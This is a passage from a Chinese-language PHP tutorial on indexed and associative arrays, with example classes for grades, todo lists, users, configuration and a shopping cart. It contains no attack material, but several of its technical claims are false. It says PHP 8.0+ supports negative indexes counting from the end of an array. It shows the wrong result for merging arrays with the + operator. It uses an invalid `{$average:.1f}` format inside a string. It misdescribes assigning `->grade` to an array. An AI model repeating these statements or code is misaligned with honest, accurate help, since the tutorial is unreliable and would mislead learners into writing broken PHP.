    $details = $cart->getCartDetails();

    echo "=== 购物车详情 ===\n";
    echo "商品数量:{$details['item_count']} 种\n";
    echo "总价:¥{$details['total_amount']}\n\n";

    echo "商品列表:\n";
    foreach ($details['items'] as $productId => $item) {
        echo "- {$item['name']} x{$item['quantity']} = ¥{$item['subtotal']}\n";
    }

    echo "\n分类统计:\n";
    foreach ($details['category_stats'] as $category => $stats) {
        echo "- {$category}:{$stats['count']} 件,¥{$stats['total']}\n";
    }

} catch (Exception $e) {
    echo "错误:" . $e->getMessage();
}
?>

这个购物车系统展示了数组的多个重要应用:

  1. 关联数组:存储商品信息和购物车项目
  2. 多维数组:复杂的商品数据结构
  3. 数组函数:count(), foreach循环等
  4. 动态操作:添加、删除、更新数组元素
  5. 数据统计:基于数组的分组和计算

学习建议

循序渐进

  1. 先掌握基础:从索引数组开始,理解数组的基本概念
  2. 逐步深入:学习关联数组,理解键值对的概念
  3. 实践应用:通过多维数组处理复杂数据结构
  4. 函数运用:掌握常用数组函数,提高开发效率

动手实践

  • 每个概念都要编写代码验证
  • 尝试用数组解决实际问题
  • 分析优秀的PHP代码中的数组使用
  • 练习数组函数的各种组合用法

性能考虑

  • 了解数组的时间复杂度
  • 选择合适的数组类型
  • 避免不必要的数组操作
  • 利用内置函数的优化

下一步

现在你已经了解了数组的重要性和基本概念,让我们开始详细学习各种数组类型:

  1. 索引数组 - 学习最基础的数组类型
  2. 关联数组 - 掌握键值对的使用
  3. 多维数组 - 处理复杂的数据结构
  4. 常用数组函数 - 提高开发效率

记住,数组是PHP编程的基础,掌握好数组将让你的PHP编程之路更加顺畅!

索引数组

索引数组是PHP中最基础的数组类型,使用数字作为键(索引)来访问数组元素。索引从0开始自动递增,是处理有序数据集合的理想选择。

什么是索引数组?

索引数组(Indexed Array)是使用整数作为键的数组。在PHP中,如果没有指定键,数组会自动从0开始分配连续的整数索引。

// 基本的索引数组
$fruits = ["苹果", "香蕉", "橙子", "葡萄"];
// 索引:     0      1      2      3

创建索引数组

1. 使用数组字面量(推荐)

// 空数组
$emptyArray = [];

// 包含元素的数组
$numbers = [1, 2, 3, 4, 5];

// 混合类型的数组
$mixed = [42, "Hello", 3.14, true];

2. 使用array()函数

// 等同于上面的数组字面量写法
$numbers = array(1, 2, 3, 4, 5);
$mixed = array(42, "Hello", 3.14, true);

3. 动态添加元素

// 逐步创建数组
$students = [];
$students[] = "张三";     // 自动分配索引0
$students[] = "李四";     // 自动分配索引1
$students[] = "王五";     // 自动分配索引2

// 显式指定索引
$scores = [];
$scores[0] = 85;
$scores[1] = 92;
$scores[2] = 78;

4. 使用range()函数创建序列

// 创建数字序列
$numbers1 = range(1, 10);        // [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
$numbers2 = range(0, 100, 10);   // [0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100]

// 创建字母序列
$letters = range('a', 'z');      // ['a', 'b', 'c', ..., 'z']
$uppercase = range('A', 'Z');    // ['A', 'B', 'C', ..., 'Z']

访问数组元素

1. 通过索引访问

$colors = ["红色", "绿色", "蓝色", "黄色"];

// 访问单个元素
echo $colors[0];  // 输出:红色
echo $colors[2];  // 输出:蓝色

// 修改元素
$colors[1] = "浅绿色";
echo $colors[1];  // 输出:浅绿色

2. 负索引访问(PHP 8.0+)

$fruits = ["苹果", "香蕉", "橙子", "葡萄", "西瓜"];

// 从数组末尾开始计数
echo $fruits[-1];  // 输出:西瓜(最后一个元素)
echo $fruits[-2];  // 输出:葡萄(倒数第二个元素)

// 修改负索引对应的元素
$fruits[-1] = "哈密瓜";

遍历索引数组

1. for循环

$grades = [85, 92, 78, 96, 88];

$total = 0;
$count = count($grades);

for ($i = 0; $i < $count; $i++) {
    echo "成绩 {$i}: {$grades[$i]}\n";
    $total += $grades[$i];
}

$average = $total / $count;
echo "平均分:{$average}";

2. foreach循环(推荐)

$products = ["iPhone", "MacBook", "iPad", "AirPods"];

// 只获取值
foreach ($products as $product) {
    echo "商品:{$product}\n";
}

// 获取键和值
foreach ($products as $index => $product) {
    echo "编号 {$index}: {$product}\n";
}

3. while循环配合list()

$students = ["张三", "李四", "王五", "赵六"];

// 传统方式
$i = 0;
while ($i < count($students)) {
    echo "学生 {$i}: {$students[$i]}\n";
    $i++;
}

// 使用each()函数(PHP 7.2后已废弃,了解即可)
// reset($students);
// while (list($key, $value) = each($students)) {
//     echo "学生 {$key}: {$value}\n";
// }

常用操作

1. 添加元素

$cities = ["北京", "上海", "广州"];

// 在末尾添加元素
array_push($cities, "深圳");
array_push($cities, "杭州", "南京");  // 可同时添加多个

// 等效的简写方式
$cities[] = "成都";

// 在开头插入元素
array_unshift($cities, "重庆");

2. 删除元素

$numbers = [10, 20, 30, 40, 50];

// 删除末尾元素
$last = array_pop($numbers);  // 返回50,数组变为[10, 20, 30, 40]

// 删除开头元素
$first = array_shift($numbers);  // 返回10,数组变为[20, 30, 40]

// 删除指定索引的元素
unset($numbers[1]);  // 删除索引1的元素,数组变为[20, 40]

// 注意:unset()不会重新索引,索引可能不连续
// 如果需要重新索引,可以使用array_values()
$numbers = array_values($numbers);

3. 查找元素

$fruits = ["苹果", "香蕉", "橙子", "葡萄", "苹果"];

// 检查元素是否存在(值)
if (in_array("苹果", $fruits)) {
    echo "找到了苹果!";
}

// 获取元素的键(索引)
$index = array_search("橙子", $fruits);  // 返回2
$notFound = array_search("西瓜", $fruits);  // 返回false

// 注意:如果元素值是0或空字符串,需要严格比较
$index = array_search("苹果", $fruits, true);  // 严格比较

4. 数组合并与拆分

$array1 = ["a", "b", "c"];
$array2 = ["d", "e", "f"];
$array3 = ["g", "h"];

// 合并数组
$merged = array_merge($array1, $array2, $array3);
// 结果:["a", "b", "c", "d", "e", "f", "g", "h"]

// 使用+运算符合并(保留原始键)
$merged2 = $array1 + $array2;
// 结果:["a", "b", "c", "d", "e", "f"]

// 取数组的一部分
$slice = array_slice($merged, 2, 4);  // 从索引2开始取4个元素
// 结果:["c", "d", "e", "f"]

// 移除数组的一部分并替换
$replaced = array_splice($merged, 1, 3, ["x", "y", "z"]);
// merged变为:["a", "x", "y", "z", "f", "g", "h"]
// replaced返回:["b", "c", "d"]

实际应用示例

1. 学生成绩管理系统

<?php
class StudentGradeManager {
    private $students = [];      // 学生姓名数组
    private $grades = [];        // 成绩数组
    private $subjects = [];      // 科目数组

    public function __construct() {
        // 初始化科目
        $this->subjects = ["语文", "数学", "英语", "物理", "化学"];
    }

    // 添加学生
    public function addStudent($name) {
        if (!in_array($name, $this->students)) {
            $this->students[] = $name;
            // 为新学生初始化成绩数组
            $studentIndex = array_search($name, $this->students);
            $this->grades[$studentIndex] = array_fill(0, count($this->subjects), 0);
            return true;
        }
        return false;
    }

    // 设置学生成绩
    public function setGrade($studentName, $subjectIndex, $grade) {
        $studentIndex = array_search($studentName, $this->students);
        if ($studentIndex !== false && isset($this->grades[$studentIndex][$subjectIndex])) {
            $this->grades[$studentIndex][$subjectIndex] = $grade;
            return true;
        }
        return false;
    }

    // 计算学生总分
    public function getTotalScore($studentName) {
        $studentIndex = array_search($studentName, $this->students);
        if ($studentIndex !== false) {
            return array_sum($this->grades[$studentIndex]);
        }
        return 0;
    }

    // 计算学生平均分
    public function getAverageScore($studentName) {
        $total = $this->getTotalScore($studentName);
        $studentIndex = array_search($studentName, $this->students);
        if ($studentIndex !== false && count($this->grades[$studentIndex]) > 0) {
            return $total / count($this->grades[$studentIndex]);
        }
        return 0;
    }

    // 获取班级排名
    public function getClassRanking() {
        $rankings = [];

        foreach ($this->students as $index => $student) {
            $totalScore = $this->getTotalScore($student);
            $rankings[] = [
                'name' => $student,
                'total' => $totalScore,
                'average' => $this->getAverageScore($student)
            ];
        }

        // 按总分降序排序
        usort($rankings, function($a, $b) {
            return $b['total'] - $a['total'];
        });

        return $rankings;
    }

    // 获取科目平均分
    public function getSubjectAverages() {
        $subjectAverages = [];
        $studentCount = count($this->students);

        if ($studentCount === 0) {
            return $subjectAverages;
        }

        foreach ($this->subjects as $subjectIndex => $subject) {
            $subjectTotal = 0;
            foreach ($this->grades as $studentGrades) {
                $subjectTotal += $studentGrades[$subjectIndex];
            }
            $subjectAverages[$subject] = $subjectTotal / $studentCount;
        }

        return $subjectAverages;
    }

    // 显示成绩单
    public function displayReportCard() {
        echo "=== 成绩单 ===\n\n";

        // 表头
        printf("%-10s", "姓名");
        foreach ($this->subjects as $subject) {
            printf("%-8s", $subject);
        }
        printf("%-8s %-8s\n", "总分", "平均分");

        echo str_repeat("-", 60) . "\n";

        // 学生成绩
        $rankings = $this->getClassRanking();
        foreach ($rankings as $rank => $student) {
            $studentIndex = array_search($student['name'], $this->students);
            printf("%-10s", $student['name']);

            foreach ($this->grades[$studentIndex] as $grade) {
                printf("%-8d", $grade);
            }

            printf("%-8.1f %-8.1f\n", $student['total'], $student['average']);
        }

        // 科目平均分
        echo "\n科目平均分:\n";
        $subjectAverages = $this->getSubjectAverages();
        foreach ($subjectAverages as $subject => $average) {
            echo "{$subject}: {$average:.1f}\n";
        }
    }
}

// 使用示例
$manager = new StudentGradeManager();

// 添加学生
$manager->addStudent("张三");
$manager->addStudent("李四");
$manager->addStudent("王五");
$manager->addStudent("赵六");

// 设置成绩
$manager->setGrade("张三", 0, 85); // 语文
$manager->setGrade("张三", 1, 92); // 数学
$manager->setGrade("张三", 2, 88); // 英语
$manager->setGrade("张三", 3, 90); // 物理
$manager->setGrade("张三", 4, 87); // 化学

$manager->setGrade("李四", 0, 78);
$manager->setGrade("李四", 1, 95);
$manager->setGrade("李四", 2, 82);
$manager->setGrade("李四", 3, 88);
$manager->setGrade("李四", 4, 91);

$manager->setGrade("王五", 0, 92);
$manager->setGrade("王五", 1, 88);
$manager->setGrade("王五", 2, 90);
$manager->setGrade("王五", 3, 85);
$manager->setGrade("王五", 4, 89);

$manager->setGrade("赵六", 0, 80);
$manager->setGrade("赵六", 1, 85);
$manager->setGrade("赵六", 2, 78);
$manager->setGrade("赵六", 3, 82);
$manager->setGrade("赵六", 4, 80);

// 显示成绩单
$manager->displayReportCard();
?>

2. 简单的待办事项管理

<?php
class TodoList {
    private $tasks = [];
    private $completed = [];

    // 添加任务
    public function addTask($task) {
        $this->tasks[] = $task;
        $this->completed[] = false;
        return count($this->tasks) - 1;
    }

    // 完成任务
    public function completeTask($index) {
        if (isset($this->tasks[$index])) {
            $this->completed[$index] = true;
            return true;
        }
        return false;
    }

    // 删除任务
    public function removeTask($index) {
        if (isset($this->tasks[$index])) {
            unset($this->tasks[$index]);
            unset($this->completed[$index]);

            // 重新索引
            $this->tasks = array_values($this->tasks);
            $this->completed = array_values($this->completed);
            return true;
        }
        return false;
    }

    // 显示所有任务
    public function displayTasks() {
        if (empty($this->tasks)) {
            echo "没有待办事项。\n";
            return;
        }

        echo "=== 待办事项 ===\n";
        foreach ($this->tasks as $index => $task) {
            $status = $this->completed[$index] ? "✓" : "○";
            echo "{$index}. [{$status}] {$task}\n";
        }
        echo "\n";
    }

    // 显示统计
    public function displayStats() {
        $total = count($this->tasks);
        $done = count(array_filter($this->completed));
        $pending = $total - $done;

        echo "=== 统计信息 ===\n";
        echo "总任务数:{$total}\n";
        echo "已完成:{$done}\n";
        echo "待完成:{$pending}\n";
        if ($total > 0) {
            echo "完成率:" . round(($done / $total) * 100, 1) . "%\n";
        }
    }
}

// 使用示例
$todo = new TodoList();

// 添加任务
$todo->addTask("学习PHP数组");
$todo->addTask("完成作业");
$todo->addTask("锻炼身体");
$todo->addTask("阅读技术书籍");

// 显示任务
$todo->displayTasks();

// 完成一些任务
$todo->completeTask(0);
$todo->completeTask(2);

// 再次显示
$todo->displayTasks();
$todo->displayStats();

// 删除一个任务
$todo->removeTask(1);
echo "\n删除任务后:\n";
$todo->displayTasks();
?>

常见错误和解决方案

1. 索引越界错误

// 错误示例
$colors = ["红色", "绿色", "蓝色"];
echo $colors[3];  // Notice: Undefined offset

// 正确做法:检查索引是否存在
if (isset($colors[2])) {
    echo $colors[2];
}

// 或者使用null合并运算符(PHP 7.0+)
echo $colors[3] ?? "默认颜色";

2. 混淆键和值

// 错误:把值当作索引使用
$names = ["张三", "李四", "王五"];
echo $names["张三"];  // 错误,"张三"是值,不是键

// 正确:查找值的索引
$index = array_search("张三", $names);
if ($index !== false) {
    echo $names[$index];
}

3. 删除元素后的索引问题

$array = [10, 20, 30, 40, 50];
unset($array[2]);  // 删除30

print_r($array);
// 输出:Array([0] => 10 [1] => 20 [3] => 40 [4] => 50)
// 注意索引2被跳过了

// 如果需要连续索引,重新索引数组
$array = array_values($array);
print_r($array);
// 输出:Array([0] => 10 [1] => 20 [2] => 40 [3] => 50)

4. 数组拷贝问题

$array1 = [1, 2, 3];
$array2 = $array1;      // 值拷贝
$array2[] = 4;          // 只影响$array2

// $array1 仍然是 [1, 2, 3]
// $array2 变为 [1, 2, 3, 4]

// 如果需要引用拷贝
$array3 = &$array1;
$array3[] = 5;          // 两个数组都会被修改

性能优化建议

1. 选择合适的遍历方式

$largeArray = range(1, 100000);

// foreach通常比for循环更快,且更简洁
foreach ($largeArray as $value) {
    // 处理元素
}

// for循环需要额外调用count()
// for ($i = 0; $i < count($largeArray); $i++) {
//     // 每次循环都调用count(),效率较低
// }

// 优化:提前计算长度
$length = count($largeArray);
for ($i = 0; $i < $length; $i++) {
    // 处理元素
}

2. 避免不必要的数组操作

// 不好的做法:频繁添加元素
$array = [];
for ($i = 0; $i < 10000; $i++) {
    $array[] = $i;
}

// 好的做法:如果知道大小,预分配
// PHP数组会自动扩展,但理解这个概念有助于性能优化

练习题

基础练习

  1. 创建和访问数组

    // 创建一个包含5个水果名称的数组
    // 访问第3个水果并打印
    // 修改第2个水果的值
    // 在数组末尾添加一个新水果
    
  2. 数组遍历

    // 创建一个数字数组1-10
    // 使用for循环计算所有偶数的和
    // 使用foreach循环打印所有奇数
    

进阶练习

  1. 数组操作

    // 实现一个函数,接收一个数组,返回最大值和最小值
    // 实现一个函数,判断数组是否是递增的
    // 实现一个函数,移除数组中的重复元素
    
  2. 数组统计

    // 给定成绩数组,计算平均分、最高分、最低分
    // 统计每个分数段的人数(90-100, 80-89, 70-79, 60-69, <60)
    

实战练习

  1. 简单的库存管理

    // 创建一个Product类,使用索引数组管理商品
    // 实现添加、删除、查找商品功能
    // 实现库存盘点功能
    
  2. 数据分析工具

    // 读取一组销售数据(日期、销售额)
    // 计算总销售额、平均销售额
    // 找出销售额最高和最低的日期
    // 统计月度销售趋势
    

总结

索引数组是PHP编程的基础,掌握好索引数组的使用对于编写高效的PHP程序至关重要。通过本节的学习,你应该:

  1. 理解索引数组的概念和特点
  2. 掌握创建、访问、修改索引数组的方法
  3. 熟练使用各种数组遍历方式
  4. 了解常用的数组操作函数
  5. 能够在实际项目中应用索引数组

接下来,我们将学习关联数组,它将为我们提供更灵活的数据组织方式。

关联数组

关联数组是PHP中最强大和灵活的数据结构之一,它使用字符串(或整数)作为键来存储和访问值。关联数组让我们能够通过有意义的名称来标识数据,而不是使用数字索引,这使得代码更加清晰和易于维护。

什么是关联数组?

关联数组(Associative Array)是使用字符串或数字作为键的数组,其中每个键都映射到一个对应的值。与索引数组不同,关联数组的键具有明确的含义。

// 基本的关联数组
$user = [
    "name" => "张三",
    "age" => 25,
    "email" => "zhangsan@example.com",
    "city" => "北京"
];

创建关联数组

1. 使用数组字面量(推荐)

// 空关联数组
$emptyAssoc = [];

// 包含键值对的关联数组
$person = [
    "name" => "李四",
    "age" => 30,
    "occupation" => "工程师"
];

// 混合类型值的关联数组
$profile = [
    "id" => 1001,
    "username" => "wangwu",
    "is_active" => true,
    "balance" => 1250.75,
    "hobbies" => ["读书", "游泳", "编程"]
];

2. 使用array()函数

// 等同于上面的数组字面量写法
$person = array(
    "name" => "李四",
    "age" => 30,
    "occupation" => "工程师"
);

3. 动态添加元素

// 逐步创建关联数组
$student = [];
$student["name"] = "赵六";
$student["age"] = 20;
$student["major"] = "计算机科学";
$student["gpa"] = 3.8;

// 使用对象风格访问(仅适用于字符串键且符合变量命名规则)
$student->grade = "大三";  // 注意:这会创建一个对象属性,不是数组元素

4. 从变量创建关联数组

// 使用compact()函数从变量创建关联数组
$name = "钱七";
$age = 28;
$email = "qianqi@example.com";

$userInfo = compact("name", "age", "email");
// 结果:["name" => "钱七", "age" => 28, "email" => "qianqi@example.com"]

访问和修改关联数组

1. 访问元素

$car = [
    "brand" => "特斯拉",
    "model" => "Model 3",
    "year" => 2023,
    "price" => 250000,
    "features" => ["自动驾驶", "全景天窗", "智能音响"]
];

// 通过键访问值
echo $car["brand"];     // 输出:特斯拉
echo $car["price"];     // 输出:250000

// 访问嵌套数组中的值
echo $car["features"][0];  // 输出:自动驾驶

// 检查键是否存在
if (isset($car["color"])) {
    echo $car["color"];
} else {
    echo "颜色信息未设置";
}

// 使用null合并运算符(PHP 7.0+)
$color = $car["color"] ?? "未知颜色";
echo $color;  // 输出:未知颜色

2. 修改元素

$book = [
    "title" => "PHP编程",
    "author" => "张三",
    "price" => 89,
    "pages" => 450
];

// 修改现有值
$book["price"] = 79;        // 价格改为79
$book["pages"] = 480;       // 页数改为480

// 添加新的键值对
$book["publisher"] = "技术出版社";
$book["isbn"] = "978-7-111-12345-6";

// 修改嵌套数组
$book["reviews"] = [];
$book["reviews"][] = "非常棒的PHP入门书";
$book["reviews"][] = "实例丰富,适合初学者";

3. 删除元素

$product = [
    "id" => 1001,
    "name" => "iPhone 15",
    "price" => 5999,
    "stock" => 50,
    "description" => "最新款苹果手机"
];

// 删除特定键值对
unset($product["description"]);
unset($product["stock"]);

// 删除后数组变为:
// ["id" => 1001, "name" => "iPhone 15", "price" => 5999]

遍历关联数组

1. foreach循环(推荐)

$employee = [
    "name" => "李四",
    "position" => "高级工程师",
    "department" => "技术部",
    "salary" => 15000,
    "experience" => 5
];

// 只获取值
foreach ($employee as $value) {
    echo $value . "\n";
}

// 获取键和值
foreach ($employee as $key => $value) {
    echo "{$key}: {$value}\n";
}

// 格式化输出
echo "=== 员工信息 ===\n";
foreach ($employee as $key => $value) {
    $keyLabel = match($key) {
        'name' => '姓名',
        'position' => '职位',
        'department' => '部门',
        'salary' => '薪资',
        'experience' => '工作年限',
        default => $key
    };
    echo "{$keyLabel}:{$value}\n";
}

2. 使用数组函数遍历

$config = [
    "database" => "mysql",
    "host" => "localhost",
    "username" => "admin",
    "password" => "secret",
    "port" => 3306
];

// 使用array_keys()获取所有键
$keys = array_keys($config);
foreach ($keys as $key) {
    echo "{$key}: {$config[$key]}\n";
}

// 使用array_values()获取所有值
$values = array_values($config);
foreach ($values as $value) {
    echo "值:{$value}\n";
}

// 使用array_walk()遍历并处理
array_walk($config, function($value, $key) {
    echo "配置项 [{$key}] = {$value}\n";
});

常用操作

1. 键的存在性检查

$user = [
    "name" => "张三",
    "email" => "zhangsan@example.com",
    "phone" => "13800138000"
];

// 检查键是否存在(推荐)
if (array_key_exists("email", $user)) {
    echo "邮箱已设置:{$user['email']}";
}

// 使用isset()检查(更快,但不会检测null值)
if (isset($user["phone"])) {
    echo "电话已设置:{$user['phone']}";
}

// 检查多个键
$requiredKeys = ["name", "email"];
$hasAllKeys = array_diff($requiredKeys, array_keys($user)) === [];
if ($hasAllKeys) {
    echo "所有必需字段都存在";
}

2. 获取键和值

$product = [
    "id" => 1001,
    "name" => "笔记本电脑",
    "price" => 4999,
    "category" => "电子产品"
];

// 获取所有键
$keys = array_keys($product);
// 结果:["id", "name", "price", "category"]

// 获取所有值
$values = array_values($product);
// 结果:[1001, "笔记本电脑", 4999, "电子产品"]

// 键值对互换
$flipped = array_flip($product);
// 结果:[1001 => "id", "笔记本电脑" => "name", ...]

// 获取特定键的值
$specificValues = array_intersect_key($product, array_flip(["name", "price"]));
// 结果:["name" => "笔记本电脑", "price" => 4999]

3. 合并关联数组

$user1 = [
    "name" => "张三",
    "age" => 25,
    "email" => "zhangsan@example.com"
];

$user2 = [
    "phone" => "13800138000",
    "address" => "北京市朝阳区",
    "age" => 26  // 注意:这个键在user1中也存在
];

// 使用array_merge()合并(后面的会覆盖前面的)
$merged1 = array_merge($user1, $user2);
// 结果:[
//     "name" => "张三",
//     "age" => 26,        // 被user2的值覆盖
//     "email" => "zhangsan@example.com",
//     "phone" => "13800138000",
//     "address" => "北京市朝阳区"
// ]

// 使用+运算符合并(前面的保留)
$merged2 = $user1 + $user2;
// 结果:[
//     "name" => "张三",
//     "age" => 25,        // 保留user1的值
//     "email" => "zhangsan@example.com",
//     "phone" => "13800138000",
//     "address" => "北京市朝阳区"
// ]

4. 过滤和映射

$users = [
    "user1" => ["name" => "张三", "age" => 25, "status" => "active"],
    "user2" => ["name" => "李四", "age" => 30, "status" => "inactive"],
    "user3" => ["name" => "王五", "age" => 28, "status" => "active"],
    "user4" => ["name" => "赵六", "age" => 22, "status" => "pending"]
];

// 过滤:只获取活跃用户
$activeUsers = array_filter($users, function($user) {
    return $user["status"] === "active";
});

// 映射:提取所有用户名
$userNames = array_map(function($user) {
    return $user["name"];
}, $users);

// 组合使用:获取活跃用户的名字
$activeUserNames = array_map(function($user) {
    return $user["name"];
}, array_filter($users, function($user) {
    return $user["status"] === "active";
}));

实际应用示例

1. 用户管理系统

<?php
class UserManager {
    private $users = [];
    private $nextId = 1;

    // 添加用户
    public function addUser($name, $email, $password) {
        $user = [
            "id" => $this->nextId++,
            "name" => $name,
            "email" => $email,
            "password" => password_hash($password, PASSWORD_DEFAULT),
            "created_at" => date("Y-m-d H:i:s"),
            "last_login" => null,
            "is_active" => true,
            "profile" => [
                "avatar" => null,
                "bio" => "",
                "phone" => ""
            ]
        ];

        $this->users[$user["id"]] = $user;
        return $user["id"];
    }

    // 获取用户信息
    public function getUser($id) {
        return $this->users[$id] ?? null;
    }

    // 更新用户资料
    public function updateProfile($id, $profileData) {
        if (!isset($this->users[$id])) {
            return false;
        }

        // 合并新的资料数据
        $this->users[$id]["profile"] = array_merge(
            $this->users[$id]["profile"],
            $profileData
        );

        return true;
    }

    // 用户登录
    public function login($email, $password) {
        foreach ($this->users as $user) {
            if ($user["email"] === $email && password_verify($password, $user["password"])) {
                $this->users[$user["id"]]["last_login"] = date("Y-m-d H:i:s");
                return $user;
            }
        }
        return false;
    }

    // 获取活跃用户列表
    public function getActiveUsers() {
        return array_filter($this->users, function($user) {
            return $user["is_active"];
        });
    }

    // 禁用用户
    public function deactivateUser($id) {
        if (isset($this->users[$id])) {
            $this->users[$id]["is_active"] = false;
            return true;
        }
        return false;
    }

    // 获取用户统计信息
    public function getUserStats() {
        $totalUsers = count($this->users);
        $activeUsers = count($this->getActiveUsers());
        $recentLogins = count(array_filter($this->users, function($user) {
            return $user["last_login"] &&
                   strtotime($user["last_login"]) > strtotime("-7 days");
        }));

        return [
            "total" => $totalUsers,
            "active" => $activeUsers,
            "inactive" => $totalUsers - $activeUsers,
            "recent_logins" => $recentLogins
        ];
    }

    // 显示用户列表
    public function displayUsers() {
        echo "=== 用户列表 ===\n\n";

        foreach ($this->users as $user) {
            $status = $user["is_active"] ? "活跃" : "禁用";
            $lastLogin = $user["last_login"] ?? "从未登录";

            echo "ID: {$user['id']}\n";
            echo "姓名: {$user['name']}\n";
            echo "邮箱: {$user['email']}\n";
            echo "状态: {$status}\n";
            echo "注册时间: {$user['created_at']}\n";
            echo "最后登录: {$lastLogin}\n";
            echo "个人资料: \n";

            foreach ($user["profile"] as $key => $value) {
                $label = match($key) {
                    'avatar' => '头像',
                    'bio' => '简介',
                    'phone' => '电话',
                    default => $key
                };
                echo "  {$label}: " . ($value ?: "未设置") . "\n";
            }

            echo str_repeat("-", 50) . "\n";
        }
    }
}

// 使用示例
$userManager = new UserManager();

// 添加用户
$id1 = $userManager->addUser("张三", "zhangsan@example.com", "password123");
$id2 = $userManager->addUser("李四", "lisi@example.com", "password456");
$id3 = $userManager->addUser("王五", "wangwu@example.com", "password789");

// 更新用户资料
$userManager->updateProfile($id1, [
    "bio" => "PHP开发工程师,热爱编程",
    "phone" => "13800138000"
]);

$userManager->updateProfile($id2, [
    "avatar" => "avatar2.jpg",
    "bio" => "全栈开发者"
]);

// 模拟登录
$userManager->login("zhangsan@example.com", "password123");

// 显示用户列表
$userManager->displayUsers();

// 显示统计信息
$stats = $userManager->getUserStats();
echo "\n=== 用户统计 ===\n";
echo "总用户数: {$stats['total']}\n";
echo "活跃用户: {$stats['active']}\n";
echo "禁用用户: {$stats['inactive']}\n";
echo "近期登录: {$stats['recent_logins']}\n";
?>

2. 配置管理系统

<?php
class ConfigManager {
    private $config = [];
    private $configFile;

    public function __construct($configFile = "config.json") {
        $this->configFile = $configFile;
        $this->loadDefaultConfig();
        $this->loadConfig();
    }

    // 加载默认配置
    private function loadDefaultConfig() {
        $this->config = [
            "database" => [
                "host" => "localhost",
                "port" => 3306,
                "username" => "root",
                "password" => "",
                "database" => "myapp",
                "charset" => "utf8mb4"
            ],
            "app" => [
                "name" => "My PHP Application",
                "version" => "1.0.0",
                "debug" => false,
                "timezone" => "Asia/Shanghai",
                "session_lifetime" => 3600
            ],
            "security" => [
                "encryption_key" => "",
                "jwt_secret" => "",
                "password_min_length" => 8,
                "max_login_attempts" => 5,
                "lockout_duration" => 900
            ],
            "email" => [
                "smtp_host" => "",
                "smtp_port" => 587,
                "smtp_username" => "",
                "smtp_password" => "",
                "from_email" => "noreply@example.com",
                "from_name" => "My App"
            ],
            "features" => [
                "enable_registration" => true,
                "enable_email_verification" => true,
                "enable_password_reset" => true,
                "enable_two_factor" => false
            ]
        ];
    }

    // 从文件加载配置
    private function loadConfig() {
        if (file_exists($this->configFile)) {
            $json = file_get_contents($this->configFile);
            $fileConfig = json_decode($json, true);

            if ($fileConfig) {
                // 递归合并配置
                $this->config = $this->arrayMergeRecursive($this->config, $fileConfig);
            }
        }
    }

    // 递归合并数组
    private function arrayMergeRecursive($array1, $array2) {
        $merged = $array1;

        foreach ($array2 as $key => $value) {
            if (is_array($value) && isset($merged[$key]) && is_array($merged[$key])) {
                $merged[$key] = $this->arrayMergeRecursive($merged[$key], $value);
            } else {
                $merged[$key] = $value;
            }
        }

        return $merged;
    }

    // 获取配置值
    public function get($key, $default = null) {
        $keys = explode(".", $key);
        $value = $this->config;

        foreach ($keys as $k) {
            if (is_array($value) && array_key_exists($k, $value)) {
                $value = $value[$k];
            } else {
                return $default;
            }
        }

        return $value;
    }

    // 设置配置值
    public function set($key, $value) {
        $keys = explode(".", $key);
        $current = &$this->config;

        foreach ($keys as $k) {
            if (!is_array($current)) {
                $current = [];
            }

            if (!isset($current[$k])) {
                $current[$k] = [];
            }

            $current = &$current[$k];
        }

        $current = $value;
    }

    // 保存配置到文件
    public function save() {
        $json = json_encode($this->config, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        return file_put_contents($this->configFile, $json) !== false;
    }

    // 获取所有配置
    public function getAll() {
        return $this->config;
    }

    // 验证必需配置
    public function validateRequired($requiredKeys) {
        $missing = [];

        foreach ($requiredKeys as $key) {
            if ($this->get($key) === null) {
                $missing[] = $key;
            }
        }

        return $missing;
    }

    // 显示配置信息
    public function displayConfig() {
        echo "=== 系统配置 ===\n\n";

        foreach ($this->config as $section => $values) {
            echo "[{$section}]\n";

            if (is_array($values)) {
                foreach ($values as $key => $value) {
                    if (is_array($value)) {
                        echo "  {$key}:\n";
                        foreach ($value as $subKey => $subValue) {
                            // 隐藏敏感信息
                            $displayValue = $this->maskSensitiveValue($subKey, $subValue);
                            echo "    {$subKey}: {$displayValue}\n";
                        }
                    } else {
                        $displayValue = $this->maskSensitiveValue($key, $value);
                        echo "  {$key}: {$displayValue}\n";
                    }
                }
            } else {
                $displayValue = $this->maskSensitiveValue($section, $values);
                echo "  {$displayValue}\n";
            }

            echo "\n";
        }
    }

    // 隐藏敏感信息
    private function maskSensitiveValue($key, $value) {
        $sensitiveKeys = ["password", "secret", "key", "token"];

        foreach ($sensitiveKeys as $sensitive) {
            if (stripos($key, $sensitive) !== false) {
                return $value ? str_repeat("*", strlen($value)) : "(empty)";
            }
        }

        return $value;
    }
}

// 使用示例
$config = new ConfigManager();

// 获取配置值
$dbHost = $config->get("database.host", "localhost");
$appName = $config->get("app.name");
$debugMode = $config->get("app.debug", false);

// 设置配置值
$config->set("app.debug", true);
$config->set("database.password", "mysecret123");

// 动态设置新的配置
$config->set("custom.api_key", "abcdef123456");
$config->set("custom.webhook_url", "https://api.example.com/webhook");

// 显示配置
$config->displayConfig();

// 验证必需配置
$required = [
    "database.host",
    "database.database",
    "app.name",
    "security.encryption_key"
];

$missing = $config->validateRequired($required);
if (!empty($missing)) {
    echo "缺少必需配置: " . implode(", ", $missing) . "\n";
} else {
    echo "所有必需配置都已设置\n";
}

// 保存配置到文件
if ($config->save()) {
    echo "配置已保存到文件\n";
} else {
    echo "保存配置失败\n";
}
?>

3. 购物车商品管理

<?php
class ShoppingCart {
    private $items = [];
    private $products = [];

    public function __construct() {
        // 初始化商品信息
        $this->products = [
            "p001" => [
                "name" => "iPhone 15",
                "price" => 5999,
                "category" => "手机",
                "stock" => 50,
                "description" => "最新款苹果手机"
            ],
            "p002" => [
                "name" => "MacBook Pro",
                "price" => 14999,
                "category" => "笔记本",
                "stock" => 20,
                "description" => "专业级笔记本电脑"
            ],
            "p003" => [
                "name" => "AirPods Pro",
                "price" => 1999,
                "category" => "耳机",
                "stock" => 100,
                "description" => "降噪无线耳机"
            ]
        ];
    }

    // 添加商品到购物车
    public function addItem($productId, $quantity = 1) {
        if (!isset($this->products[$productId])) {
            throw new Exception("商品不存在");
        }

        if ($this->products[$productId]["stock"] < $quantity) {
            throw new Exception("库存不足");
        }

        if (isset($this->items[$productId])) {
            $this->items[$productId]["quantity"] += $quantity;
        } else {
            $this->items[$productId] = [
